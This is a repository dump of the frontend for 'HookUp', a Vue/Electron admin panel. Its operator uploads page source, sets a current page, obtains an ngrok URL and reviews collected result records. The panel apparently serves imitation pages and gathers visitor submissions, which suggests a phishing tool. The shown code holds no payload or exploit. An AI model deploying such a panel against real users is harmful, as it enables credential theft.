\r\n\r\n \r\n \r\n Panel\r\n \r\n\r\n \r\n \r\n \r\n remove_red_eye\r\n \r\n Configure\r\n \r\n \r\n \r\n\r\n \r\n \r\n add\r\n \r\n Add Page\r\n \r\n \r\n \r\n\r\n \r\n \r\n list\r\n \r\n Results\r\n \r\n \r\n \r\n \r\n \r\n info\r\n About\r\n \r\n \r\n \r\n exit_to_app\r\n Log out\r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n
\r\n
\r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../node_modules/thread-loader/dist/cjs.js!../../node_modules/babel-loader/lib/index.js!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../node_modules/thread-loader/dist/cjs.js!../../node_modules/babel-loader/lib/index.js!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Mainscreen.vue?vue&type=template&id=7ceb330f&scoped=true&\"\nimport script from \"./Mainscreen.vue?vue&type=script&lang=js&\"\nexport * from \"./Mainscreen.vue?vue&type=script&lang=js&\"\nimport style0 from \"./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"7ceb330f\",\n null\n \n)\n\nexport default component.exports","\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../node_modules/cache-loader/dist/cjs.js??ref--12-0!../node_modules/thread-loader/dist/cjs.js!../node_modules/babel-loader/lib/index.js!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../node_modules/cache-loader/dist/cjs.js??ref--12-0!../node_modules/thread-loader/dist/cjs.js!../node_modules/babel-loader/lib/index.js!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./App.vue?vue&type=template&id=1fb0eaa5&\"\nimport script from \"./App.vue?vue&type=script&lang=js&\"\nexport * from \"./App.vue?vue&type=script&lang=js&\"\nimport style0 from \"./App.vue?vue&type=style&index=0&lang=scss&\"\n\n\n/* normalize component */\nimport normalizer from \"!../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n null,\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('md-card',[_c('md-card-header',[_c('md-card-header-text',[_c('h2',[_vm._v(\"Results\")])]),_c('md-button',{staticClass:\"md-icon-button\",attrs:{\"md-menu-trigger\":\"\"},on:{\"click\":_vm.getResult}},[_c('md-icon',[_vm._v(\"refresh\")])],1)],1),_c('md-card-content',[(!_vm.isEmpty)?_c('div',_vm._l((_vm.results),function(result,index){return _c('md-list',{key:index,staticClass:\"md-double-line\"},[_c('md-list-item',[_c('md-card',[_c('md-card-header',[_c('h3',[_vm._v(_vm._s(result.pageName))]),_c('code',[_vm._v(_vm._s(result.date))])]),_c('div',[_c('json-viewer',{attrs:{\"value\":result.data,\"expand-depth\":2,\"theme\":\"dark-viewer\"}})],1)],1)],1)],1)}),1):_c('div',[_c('md-empty-state',{attrs:{\"md-rounded\":\"\",\"md-icon\":\"visibility_off\",\"md-label\":\"Nothing in results\",\"md-description\":\"Results will be here\"}})],1)])],1)],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./Result.vue?vue&type=template&id=e272a12a&scoped=true&\"\nimport script from \"./Result.vue?vue&type=script&lang=js&\"\nexport * from \"./Result.vue?vue&type=script&lang=js&\"\nimport style0 from \"./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"e272a12a\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('md-card',[_c('md-card-header',[_c('div',{staticClass:\"md-title\",staticStyle:{\"float\":\"left\"}},[_vm._v(\"Add Page\")])]),_c('md-card-content',[_c('form',{on:{\"submit\":function($event){$event.preventDefault();return _vm.submitForm($event)}}},[_c('md-field',[_c('label',[_vm._v(\"Page name\")]),_c('md-input',{model:{value:(_vm.pageName),callback:function ($$v) {_vm.pageName=$$v},expression:\"pageName\"}})],1),_c('md-field',[_c('label',[_vm._v(\"Page source code\")]),_c('md-file',{ref:\"page\",on:{\"md-change\":_vm.handlePageUpload}})],1),_c('md-button',{staticClass:\"md-raised md-primary\",attrs:{\"type\":\"submit\"}},[_vm._v(\"Save\")]),_c('md-snackbar',{attrs:{\"md-position\":\"center\",\"md-duration\":4000,\"md-active\":_vm.showSnack,\"md-persistent\":\"\"},on:{\"update:mdActive\":function($event){_vm.showSnack=$event},\"update:md-active\":function($event){_vm.showSnack=$event}}},[_c('span',[_vm._v(_vm._s(_vm.snackBarData))]),_c('md-button',{class:{ 'md-primary' : _vm.success, 'md-accent': !_vm.success},on:{\"click\":function($event){_vm.showSnack = false}}},[_vm._v(\"I Got This\")])],1)],1)])],1)],1)}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AddSite.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./AddSite.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./AddSite.vue?vue&type=template&id=7626944a&scoped=true&\"\nimport script from \"./AddSite.vue?vue&type=script&lang=js&\"\nexport * from \"./AddSite.vue?vue&type=script&lang=js&\"\nimport style0 from \"./AddSite.vue?vue&type=style&index=0&id=7626944a&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"7626944a\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',[_c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',[_c('md-card-header',[_c('div',{staticClass:\"md-title\"},[_vm._v(\"Registered Pages\")])]),_c('md-card-content',_vm._l((_vm.sites),function(site,index){return _c('md-list',{key:index},[_c('md-list-item',[_vm._v(\" \"+_vm._s(site.name)+\" \"),_c('div',[_c('md-button',{directives:[{name:\"show\",rawName:\"v-show\",value:(!site.stock),expression:\"!site.stock\"}],staticClass:\"md-icon-button md-list-action\",on:{\"click\":function($event){return _vm.deleteSite(site)}}},[_c('md-icon',{staticClass:\"md-accent\"},[_vm._v(\"delete\")])],1),_c('md-button',{staticClass:\"md-icon-button md-list-action\",on:{\"click\":function($event){return _vm.clickSite(site)}}},[_c('md-icon',[_vm._v(\"arrow_forward_ios\")])],1)],1)])],1)}),1)],1)],1),_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',{staticClass:\"current-card\"},[_c('md-card-header',[_c('div',{staticClass:\"md-title\"},[_vm._v(\"Current Page\")])]),_c('md-card-content',[_c('md-progress-spinner',{directives:[{name:\"show\",rawName:\"v-show\",value:(_vm.loading),expression:\"loading\"}],attrs:{\"md-diameter\":30,\"md-stroke\":3,\"md-mode\":\"indeterminate\"}}),_c('div',{directives:[{name:\"show\",rawName:\"v-show\",value:(!_vm.loading),expression:\"!loading\"}]},[_c('md-field',[_c('label',[_vm._v(\"Page name\")]),_c('md-input',{attrs:{\"disabled\":\"\"},model:{value:(_vm.currentSite.name),callback:function ($$v) {_vm.$set(_vm.currentSite, \"name\", $$v)},expression:\"currentSite.name\"}})],1),_c('md-field',[_c('label',[_vm._v(\"Page source code\")]),_c('md-textarea',{attrs:{\"disabled\":\"\"},model:{value:(_vm.currentSite.source),callback:function ($$v) {_vm.$set(_vm.currentSite, \"source\", $$v)},expression:\"currentSite.source\"}})],1),_c('md-button',{staticClass:\"md-primary\",attrs:{\"href\":_vm.base,\"target\":\"_blank\"}},[_vm._v(\"Preview\")])],1)],1),_c('md-snackbar',{attrs:{\"md-position\":\"center\",\"md-duration\":4000,\"md-active\":_vm.showStack,\"md-persistent\":\"\"},on:{\"update:mdActive\":function($event){_vm.showStack=$event},\"update:md-active\":function($event){_vm.showStack=$event}}},[_c('span',[_vm._v(_vm._s(_vm.snackBarData))]),_c('md-button',{class:{ 'md-primary' : _vm.success, 'md-accent': !_vm.success},on:{\"click\":function($event){_vm.showStack = false}}},[_vm._v(\"I got this\")])],1)],1)],1)])])}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./ConfigureScreen.vue?vue&type=template&id=2168d7e0&scoped=true&\"\nimport script from \"./ConfigureScreen.vue?vue&type=script&lang=js&\"\nexport * from \"./ConfigureScreen.vue?vue&type=script&lang=js&\"\nimport style0 from \"./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"2168d7e0\",\n null\n \n)\n\nexport default component.exports","var render = function () {var _vm=this;var _h=_vm.$createElement;var _c=_vm._self._c||_h;return _c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item\"},[_c('md-card',[_c('md-card-content',[_c('div',{staticClass:\"md-layout\"},[_c('div',{staticClass:\"md-layout-item logo-box\"},[_c('img',{attrs:{\"src\":\"/logo.svg\",\"alt\":\"logo\",\"height\":\"600\",\"width\":\"600\"}}),_c('h2',[_vm._v(\"HookUp Web Interface\")]),_c('ul',[_c('li',{staticClass:\"md-caption\"},[_vm._v(\"Version \"+_vm._s(_vm.context.server_v))]),_c('li',{staticClass:\"md-caption\"},[_vm._v(\"Copyright bufgix\")])])]),_c('div',{staticClass:\"md-layout-item info-box\"},[_c('div',{staticClass:\"md-layout md-alignment-center-left\"},[_c('ul',[_c('li',[_vm._v(\"GUI Version: \"+_vm._s(_vm.context.client_v))]),_c('li',[_vm._v(\"Server Version: \"+_vm._s(_vm.context.server_v))]),_c('li',[_vm._v(\" Commit: \"),_c('span',[_vm._v(_vm._s(_vm.context.commit))])])])])])])])],1)],1)])}\nvar staticRenderFns = []\n\nexport { render, staticRenderFns }","\r\n\r\n\r\n\r\n","import mod from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./About.vue?vue&type=script&lang=js&\"; export default mod; export * from \"-!../../../node_modules/cache-loader/dist/cjs.js??ref--12-0!../../../node_modules/thread-loader/dist/cjs.js!../../../node_modules/babel-loader/lib/index.js!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./About.vue?vue&type=script&lang=js&\"","import { render, staticRenderFns } from \"./About.vue?vue&type=template&id=a06afa1e&scoped=true&\"\nimport script from \"./About.vue?vue&type=script&lang=js&\"\nexport * from \"./About.vue?vue&type=script&lang=js&\"\nimport style0 from \"./About.vue?vue&type=style&index=0&id=a06afa1e&lang=scss&scoped=true&\"\n\n\n/* normalize component */\nimport normalizer from \"!../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js\"\nvar component = normalizer(\n script,\n render,\n staticRenderFns,\n false,\n null,\n \"a06afa1e\",\n null\n \n)\n\nexport default component.exports","import Vue from \"vue\";\r\nimport Router from \"vue-router\";\r\nimport Result from \"../components/pages/Result\";\r\nimport AddSite from \"../components/pages/AddSite\";\r\nimport ConfigureScreen from \"../components/pages/ConfigureScreen\";\r\nimport About from \"../components/pages/About\"\r\n\r\nVue.material.router.linkActiveClass = \"active\";\r\n\r\nVue.use(Router);\r\n\r\nexport default {\r\n PageRouter: new Router({\r\n routes: [\r\n {\r\n path: \"/\",\r\n redirect: { name: \"watch\" }\r\n },\r\n {\r\n path: \"/watch\",\r\n name: \"watch\",\r\n component: Result\r\n },\r\n {\r\n path: \"/add\",\r\n name: \"add-site\",\r\n component: AddSite\r\n },\r\n {\r\n path: \"/configure\",\r\n name: \"config\",\r\n component: ConfigureScreen\r\n },\r\n {\r\n path: \"/about\",\r\n name: \"about\",\r\n component: About\r\n }\r\n ],\r\n linkActiveClass: \"active\"\r\n })\r\n};\r\n","import Vue from \"vue\";\r\nimport App from \"./App.vue\";\r\nimport Router from \"./router\";\r\n\r\nVue.config.productionTip = false;\r\n\r\nnew Vue({\r\n router: Router.PageRouter,\r\n render: h => h(App)\r\n}).$mount(\"#app\");\r\n","import mod from \"-!../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=style&index=0&lang=scss&\"; export default mod; export * from \"-!../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../node_modules/cache-loader/dist/cjs.js??ref--0-0!../node_modules/vue-loader/lib/index.js??vue-loader-options!./App.vue?vue&type=style&index=0&lang=scss&\"","const base = \"http://localhost:5000\";\r\n\r\nmodule.exports = {\r\n base,\r\n urlGetNgrokUrl: `${base}/api/get_ngrok_url`,\r\n urlNewPage: `${base}/api/page/new`,\r\n urlDeletePage: `${base}/api/page/delete`,\r\n urlGetCurrent: `${base}/api/page/get_current`,\r\n urlSetCurrent: `${base}/api/page/set_current`,\r\n urlPages: `${base}/api/pages`,\r\n urlGetRecords: `${base}/api/record/list`,\r\n urlGetRecordsByPage: `${base}/api/record/by_page`,\r\n urlAbout: `${base}/api/about`,\r\n urlLogout: `${base}/adminlogout`,\r\n};\r\n","import mod from \"-!../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"; export default mod; export * from \"-!../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Mainscreen.vue?vue&type=style&index=0&id=7ceb330f&lang=scss&scoped=true&\"","import mod from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"; export default mod; export * from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--8-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--8-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--8-oneOf-1-2!../../../node_modules/sass-loader/dist/cjs.js??ref--8-oneOf-1-3!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./Result.vue?vue&type=style&index=0&id=e272a12a&lang=scss&scoped=true&\"","import mod from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--6-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--6-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--6-oneOf-1-2!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\"; export default mod; export * from \"-!../../../node_modules/mini-css-extract-plugin/dist/loader.js??ref--6-oneOf-1-0!../../../node_modules/css-loader/dist/cjs.js??ref--6-oneOf-1-1!../../../node_modules/vue-loader/lib/loaders/stylePostLoader.js!../../../node_modules/postcss-loader/src/index.js??ref--6-oneOf-1-2!../../../node_modules/cache-loader/dist/cjs.js??ref--0-0!../../../node_modules/vue-loader/lib/index.js??vue-loader-options!./ConfigureScreen.vue?vue&type=style&index=0&id=2168d7e0&scoped=true&lang=css&\""],"sourceRoot":""} -------------------------------------------------------------------------------- /hookup/hookup-frontend/dist/logo.svg: -------------------------------------------------------------------------------- 1 | Asset 3 -------------------------------------------------------------------------------- /hookup/hookup-frontend/electron.js: -------------------------------------------------------------------------------- 1 | const { app, BrowserWindow } = require('electron') 2 | 3 | // Pencere nesnesinin genel bir referansını koruyun, 4 | // yoksa JavaScript nesnesi çöpleri topladığında pencere otomatik olarak kapatılır. 5 | let win 6 | 7 | function createWindow () { 8 | // Tarayıcı penceresini oluştur. 9 | win = new BrowserWindow({ 10 | width: 1380, 11 | height: 640, 12 | webPreferences: { 13 | nodeIntegration: true 14 | }, 15 | frame: true 16 | }) 17 | 18 | // ve uygulamanın index.html dosyasını yükle. 19 | win.loadURL("http://localhost:5000/adminlogin") 20 | 21 | win.removeMenu() 22 | 23 | // DevTools'u aç. 24 | win.webContents.openDevTools() 25 | 26 | // Pencere kapatıldığında ortaya çıkar. 27 | win.on('closed', () => { 28 | //Pencere nesnesini referans dışı bırakın, 29 | // uygulamanız çoklu pencereleri destekliyorsa genellikle pencereleri 30 | // bir dizide saklarsınız, bu, ilgili öğeyi silmeniz gereken zamandır. 31 | win = null 32 | }) 33 | } 34 | // Bu yöntem, Electron başlatmayı tamamladığında 35 | // ve tarayıcı pencereleri oluşturmaya hazır olduğunda çağrılır. 36 | // Bazı API'ler sadece bu olayın gerçekleşmesinin ardından kullanılabilir. 37 | app.on('ready', createWindow) 38 | 39 | // Bütün pencereler kapatıldığında çıkış yap. 40 | app.on('window-all-closed', () => { 41 | // MacOS'de kullanıcı CMD + Q ile çıkana dek uygulamaların ve menü barlarının 42 | // aktif kalmaya devam etmesi normaldir. 43 | if (process.platform !== 'darwin') { 44 | app.quit() 45 | } 46 | }) 47 | 48 | app.on('activate', () => { 49 | // MacOS'de dock'a tıklandıktan sonra eğer başka pencere yoksa 50 | // yeni pencere açılması normaldir. 51 | if (win === null) { 52 | createWindow() 53 | } 54 | }) -------------------------------------------------------------------------------- /hookup/hookup-frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hookup-frontend", 3 | "main": "electron.js", 4 | "version": "0.1.0", 5 | "private": true, 6 | "scripts": { 7 | "serve": "vue-cli-service serve", 8 | "build": "vue-cli-service build", 9 | "lint": "vue-cli-service lint", 10 | "electron": "electron ." 11 | }, 12 | "dependencies": { 13 | "axios": "^0.19.1", 14 | "core-js": "^3.4.4", 15 | "electron": "^7.2.4", 16 | "vue": "^2.6.10", 17 | "vue-clipboard2": "^0.3.1", 18 | "vue-json-viewer": "^2.2.8", 19 | "vue-material": "^1.0.0-beta-11", 20 | "vue-router": "^3.1.3" 21 | }, 22 | "devDependencies": { 23 | "@vue/cli-plugin-babel": "^4.1.0", 24 | "@vue/cli-plugin-eslint": "^4.1.0", 25 | "@vue/cli-service": "^4.1.0", 26 | "babel-eslint": "^10.0.3", 27 | "eslint": "^5.16.0", 28 | "eslint-plugin-vue": "^5.0.0", 29 | "node-sass": "^4.13.1", 30 | "sass-loader": "^8.0.0", 31 | "vue-template-compiler": "^2.6.10" 32 | }, 33 | "eslintConfig": { 34 | "root": true, 35 | "env": { 36 | "node": true 37 | }, 38 | "extends": [ 39 | "plugin:vue/essential", 40 | "eslint:recommended" 41 | ], 42 | "rules": {}, 43 | "parserOptions": { 44 | "parser": "babel-eslint" 45 | } 46 | }, 47 | "browserslist": [ 48 | "> 1%", 49 | "last 2 versions" 50 | ] 51 | } 52 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/public/favicon.ico -------------------------------------------------------------------------------- /hookup/hookup-frontend/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Hook Up Panel 12 | 18 | 19 | 20 | 23 |
24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/public/logo.svg: -------------------------------------------------------------------------------- 1 | Asset 3 -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/App.vue: -------------------------------------------------------------------------------- 1 | 6 | 7 | 26 | 27 | 56 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bufgix/hookup/31d6a0d413c62d317f1b70c4d83541a00bf15d72/hookup/hookup-frontend/src/assets/logo.png -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/components/Mainscreen.vue: -------------------------------------------------------------------------------- 1 | 2 | 75 | 76 | 113 | 114 | 115 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/components/pages/About.vue: -------------------------------------------------------------------------------- 1 | 34 | 35 | 53 | 54 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/components/pages/AddSite.vue: -------------------------------------------------------------------------------- 1 | 35 | 36 | 82 | 83 | 102 | 103 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/components/pages/ConfigureScreen.vue: -------------------------------------------------------------------------------- 1 | 2 | 73 | 74 | 134 | 135 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/components/pages/Result.vue: -------------------------------------------------------------------------------- 1 | 43 | 44 | 68 | 69 | 70 | 148 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/main.js: -------------------------------------------------------------------------------- 1 | import Vue from "vue"; 2 | import App from "./App.vue"; 3 | import Router from "./router"; 4 | 5 | Vue.config.productionTip = false; 6 | 7 | new Vue({ 8 | router: Router.PageRouter, 9 | render: h => h(App) 10 | }).$mount("#app"); 11 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/router/index.js: -------------------------------------------------------------------------------- 1 | import Vue from "vue"; 2 | import Router from "vue-router"; 3 | import Result from "../components/pages/Result"; 4 | import AddSite from "../components/pages/AddSite"; 5 | import ConfigureScreen from "../components/pages/ConfigureScreen"; 6 | import About from "../components/pages/About" 7 | 8 | Vue.material.router.linkActiveClass = "active"; 9 | 10 | Vue.use(Router); 11 | 12 | export default { 13 | PageRouter: new Router({ 14 | routes: [ 15 | { 16 | path: "/", 17 | redirect: { name: "watch" } 18 | }, 19 | { 20 | path: "/watch", 21 | name: "watch", 22 | component: Result 23 | }, 24 | { 25 | path: "/add", 26 | name: "add-site", 27 | component: AddSite 28 | }, 29 | { 30 | path: "/configure", 31 | name: "config", 32 | component: ConfigureScreen 33 | }, 34 | { 35 | path: "/about", 36 | name: "about", 37 | component: About 38 | } 39 | ], 40 | linkActiveClass: "active" 41 | }) 42 | }; 43 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/services/api.js: -------------------------------------------------------------------------------- 1 | import Axios from "axios"; 2 | import { 3 | urlGetNgrokUrl, 4 | urlNewPage, 5 | urlDeletePage, 6 | urlGetCurrent, 7 | urlSetCurrent, 8 | urlPages, 9 | urlGetRecords, 10 | urlGetRecordsByPage, 11 | urlAbout 12 | } from "./endpoints"; 13 | 14 | export default { 15 | async getNgrokUrl() { 16 | let res = await Axios.get(urlGetNgrokUrl); 17 | return res.data; 18 | }, 19 | async sendNewPage(data) { 20 | let res = await Axios.post(urlNewPage, data, { 21 | headers: { "Content-Type": "multipart/form-data" } 22 | }); 23 | return res; 24 | }, 25 | async getPages() { 26 | let res = await Axios.get(urlPages); 27 | return res.data; 28 | }, 29 | // eslint-disable-next-line no-unused-vars 30 | async deletePage(data) { 31 | let res = Axios.post(urlDeletePage, data, { 32 | headers: { "Content-Type": "application/json" } 33 | }); 34 | return res; 35 | }, 36 | async getCurrentPage() { 37 | let res = await Axios.get(urlGetCurrent); 38 | return res.data; 39 | }, 40 | async setCurrentPage(data) { 41 | let res = await Axios.post(urlSetCurrent, data, { 42 | headers: { 43 | "Content-Type": "application/json" 44 | } 45 | }); 46 | return res; 47 | }, 48 | async getRecords() { 49 | let res = await Axios.get(urlGetRecords); 50 | return res.data; 51 | }, 52 | async getRecordsByPage() { 53 | let res = await Axios.get(urlGetRecordsByPage); 54 | return res.data; 55 | }, 56 | async getAbout() { 57 | let res = await Axios.get(urlAbout); 58 | return res.data 59 | } 60 | }; 61 | -------------------------------------------------------------------------------- /hookup/hookup-frontend/src/services/endpoints.js: -------------------------------------------------------------------------------- 1 | const base = "http://localhost:5000"; 2 | 3 | module.exports = { 4 | base, 5 | urlGetNgrokUrl: `${base}/api/get_ngrok_url`, 6 | urlNewPage: `${base}/api/page/new`, 7 | urlDeletePage: `${base}/api/page/delete`, 8 | urlGetCurrent: `${base}/api/page/get_current`, 9 | urlSetCurrent: `${base}/api/page/set_current`, 10 | urlPages: `${base}/api/pages`, 11 | urlGetRecords: `${base}/api/record/list`, 12 | urlGetRecordsByPage: `${base}/api/record/by_page`, 13 | urlAbout: `${base}/api/about`, 14 | urlLogout: `${base}/adminlogout`, 15 | }; 16 | -------------------------------------------------------------------------------- /hookup/models.py: -------------------------------------------------------------------------------- 1 | from flask_login import UserMixin 2 | from hookup import db, login_manager, app 3 | import os 4 | import json 5 | import datetime 6 | 7 | 8 | @login_manager.user_loader 9 | def load_user(user_id): 10 | return User.query.get(int(user_id)) 11 | 12 | 13 | class User(db.Model, UserMixin): 14 | __tablename__ = "user" 15 | 16 | id = db.Column(db.Integer, primary_key=True) 17 | username = db.Column(db.String(40), unique=True) 18 | password = db.Column(db.String(40)) 19 